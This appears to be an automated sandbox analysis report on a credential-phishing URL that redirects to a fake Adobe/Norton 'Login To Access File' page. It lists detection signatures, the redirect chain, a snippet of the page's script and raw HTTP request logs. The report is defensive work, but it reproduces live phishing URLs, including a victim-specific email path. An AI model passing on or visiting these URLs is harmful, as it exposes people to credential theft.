Edit tour

Windows Analysis Report
http://server.citierupticx.com/specId/product-mje%EF%BC%A0ml.avio.co.jp

Overview

General Information

Sample URL:	http://server.citierupticx.com/specId/product-mje%EF%BC%A0ml.avio.co.jp
Analysis ID:	1563545
Infos:

Detection

HTMLPhisher

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Antivirus / Scanner detection for submitted sample

Yara detected HtmlPhish10

AI detected landing page (webpage, office document or email)

Javascript uses Clearbit API to dynamically determine company logos

Detected suspicious crossdomain redirect

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

Invalid 'copyright' link found

Classification

Process Tree

System is w10x64

chrome.exe (PID: 3128 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6036 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1964 --field-trial-handle=1904,i,8113989753141242237,6083678376581575496,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6392 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://server.citierupticx.com/specId/product-mje@ml.avio.co.jp" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
0.4.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.3.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.2.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: http://server.citierupticx.com/specId/product-mjeml.avio.co.jp

SlashNext: detection malicious, Label: Credential Stealing type: Phishing & Social Engineering

Phishing

AI detected phishing page

Source: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=/product-mje%EF%BC%A0ml.avio.co.jp	Joe Sandbox AI: Score: 9 Reasons: The brand 'Adobe' is well-known and typically associated with the domain 'adobe.com'., The URL 'ft0.blockchainmemspool.site' does not match the legitimate domain for Adobe., The domain 'blockchainmemspool.site' is unrelated to Adobe and appears suspicious., The use of a subdomain 'ft0' and an unusual domain name suggests a potential phishing attempt., The presence of an email input field with a non-Adobe domain further raises suspicion. DOM: 0.0.pages.csv
Source: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=/product-mje%EF%BC%A0ml.avio.co.jp	Joe Sandbox AI: Score: 9 Reasons: The brand 'Adobe' is well-known and typically associated with the domain 'adobe.com'., The URL 'ft0.blockchainmemspool.site' does not match the legitimate domain for Adobe., The domain 'blockchainmemspool.site' is unrelated to Adobe and appears suspicious., The use of a subdomain 'ft0' and the main domain 'blockchainmemspool.site' suggests a potential phishing attempt., The presence of an email input field with a non-Adobe domain 'ml.avio.co.jp' is unusual and raises suspicion. DOM: 0.1.pages.csv
Source: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=/product-mje%EF%BC%A0ml.avio.co.jp	Joe Sandbox AI: Score: 9 Reasons: The brand 'Norton' is a well-known cybersecurity company, and its legitimate domain is 'norton.com'., The URL 'ft0.blockchainmemspool.site' does not match the legitimate domain for Norton., The domain 'blockchainmemspool.site' is unrelated to Norton and appears suspicious., The use of a subdomain 'ft0' and the main domain 'blockchainmemspool.site' suggests a potential phishing attempt., The domain extension '.site' is unusual for a well-known brand like Norton, which typically uses '.com'. DOM: 0.2.pages.csv
Source: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=/product-mje%EF%BC%A0ml.avio.co.jp	Joe Sandbox AI: Score: 9 Reasons: The brand 'Norton' is a well-known cybersecurity company, and its legitimate domain is 'norton.com'., The URL 'ft0.blockchainmemspool.site' does not match the legitimate domain for Norton., The domain 'blockchainmemspool.site' is unrelated to Norton and appears suspicious., The use of a subdomain 'ft0' and the main domain 'blockchainmemspool.site' suggests a potential phishing attempt., The domain extension '.site' is unusual for a well-known brand like Norton, which typically uses '.com'. DOM: 0.3.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 0.4.pages.csv, type: HTML
Source: Yara match	File source: 0.3.pages.csv, type: HTML
Source: Yara match	File source: 0.2.pages.csv, type: HTML

AI detected landing page (webpage, office document or email)

Source: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=/product-mje%EF%BC%A0ml.avio.co.jp	Joe Sandbox AI: Page contains button: 'Login To Access File' Source: '0.0.pages.csv'
Source: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=/product-mje%EF%BC%A0ml.avio.co.jp	Joe Sandbox AI: Page contains button: 'Login To Access File' Source: '0.1.pages.csv'

Javascript uses Clearbit API to dynamically determine company logos

Source: https://ft0.blockchainmemspool.site/assets/index-DMPAUMCk.js

HTTP Parser: var rg=object.defineproperty;var og=(e,t,n)=>t in e?rg(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n;var fr=(e,t,n)=>og(e,typeof t!="symbol"?t+"":t,n);function ig(e,t){for(var n=0;n<t.length;n++){const r=t[n];if(typeof r!="string"&&!array.isarray(r)){for(const o in r)if(o!=="default"&&!(o in e)){const i=object.getownpropertydescriptor(r,o);i&&object.defineproperty(e,o,i.get?i:{enumerable:!0,get:()=>r[o]})}}}return object.freeze(object.defineproperty(e,symbol.tostringtag,{value:"module"}))}(function(){const t=document.createelement("link").rellist;if(t&&t.supports&&t.supports("modulepreload"))return;for(const o of document.queryselectorall('link[rel="modulepreload"]'))r(o);new mutationobserver(o=>{for(const i of o)if(i.type==="childlist")for(const l of i.addednodes)l.tagname==="link"&&l.rel==="modulepreload"&&r(l)}).observe(document,{childlist:!0,subtree:!0});function n(o){const i={};return o.integrity&&(i.integrity=o.integrity),o.referrerpolicy&&(i.referrerpolicy=o.referrerpolicy),o.crossori...

Source: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=/product-mje%EF%BC%A0ml.avio.co.jp

HTTP Parser: Number of links: 0

HTTP Parser: <input type="password" .../> found but no <form action="...

HTTP Parser: Title: Email Setting does not match URL

HTTP Parser: Invalid link: copyright

HTTP Parser: <input type="password" .../> found

Source: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=/product-mje%EF%BC%A0ml.avio.co.jp	HTTP Parser: No favicon
Source: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=/product-mje%EF%BC%A0ml.avio.co.jp	HTTP Parser: No favicon
Source: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=/product-mje%EF%BC%A0ml.avio.co.jp	HTTP Parser: No favicon
Source: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=/product-mje%EF%BC%A0ml.avio.co.jp	HTTP Parser: No favicon
Source: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=/product-mje%EF%BC%A0ml.avio.co.jp	HTTP Parser: No favicon

Source: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=/product-mje%EF%BC%A0ml.avio.co.jp	HTTP Parser: No <meta name="author".. found
Source: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=/product-mje%EF%BC%A0ml.avio.co.jp	HTTP Parser: No <meta name="author".. found
Source: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=/product-mje%EF%BC%A0ml.avio.co.jp	HTTP Parser: No <meta name="author".. found
Source: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=/product-mje%EF%BC%A0ml.avio.co.jp	HTTP Parser: No <meta name="author".. found
Source: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=/product-mje%EF%BC%A0ml.avio.co.jp	HTTP Parser: No <meta name="author".. found

Source: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=/product-mje%EF%BC%A0ml.avio.co.jp	HTTP Parser: No <meta name="copyright".. found
Source: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=/product-mje%EF%BC%A0ml.avio.co.jp	HTTP Parser: No <meta name="copyright".. found
Source: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=/product-mje%EF%BC%A0ml.avio.co.jp	HTTP Parser: No <meta name="copyright".. found
Source: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=/product-mje%EF%BC%A0ml.avio.co.jp	HTTP Parser: No <meta name="copyright".. found
Source: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=/product-mje%EF%BC%A0ml.avio.co.jp	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.4:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49784 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

HTTP traffic: Redirect from: server.citierupticx.com to https://ft0.blockchainmemspool.site/session/swygew91igrly3j5chqgdghpcybzdwnrig15igrpy2s=swygew91igrly3j5chqgdghpcybzdwnrig15igrpy2s=swygew91igrly3j5chqgdghpcybzdwnrig15igrpy2s=swygew91igrly3j5chqgdghpcybzdwnrig15igrpy2s=swygew91igrly3j5chqgdghpcybzdwnrig15igrpy2s=/product-mjeml.avio.co.jp

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 23.32.238.211
Source: unknown	TCP traffic detected without corresponding DNS query: 23.32.238.211
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63

Source: global traffic	HTTP traffic detected: GET /specId/product-mje%EF%BC%A0ml.avio.co.jp HTTP/1.1Host: server.citierupticx.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=/product-mje%EF%BC%A0ml.avio.co.jp HTTP/1.1Host: ft0.blockchainmemspool.siteConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /assets/index-DMPAUMCk.js HTTP/1.1Host: ft0.blockchainmemspool.siteConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ft0.blockchainmemspool.sitesec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=/product-mje%EF%BC%A0ml.avio.co.jpAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /beegee.jpg HTTP/1.1Host: ft0.blockchainmemspool.siteConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=/product-mje%EF%BC%A0ml.avio.co.jpAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pdfbannerred.png HTTP/1.1Host: ft0.blockchainmemspool.siteConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=/product-mje%EF%BC%A0ml.avio.co.jpAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /json?token=51dda6bce069cf HTTP/1.1Host: ipinfo.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/json, text/plain, /sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://ft0.blockchainmemspool.siteSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ft0.blockchainmemspool.site/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /norton.png HTTP/1.1Host: ft0.blockchainmemspool.siteConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=/product-mje%EF%BC%A0ml.avio.co.jpAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
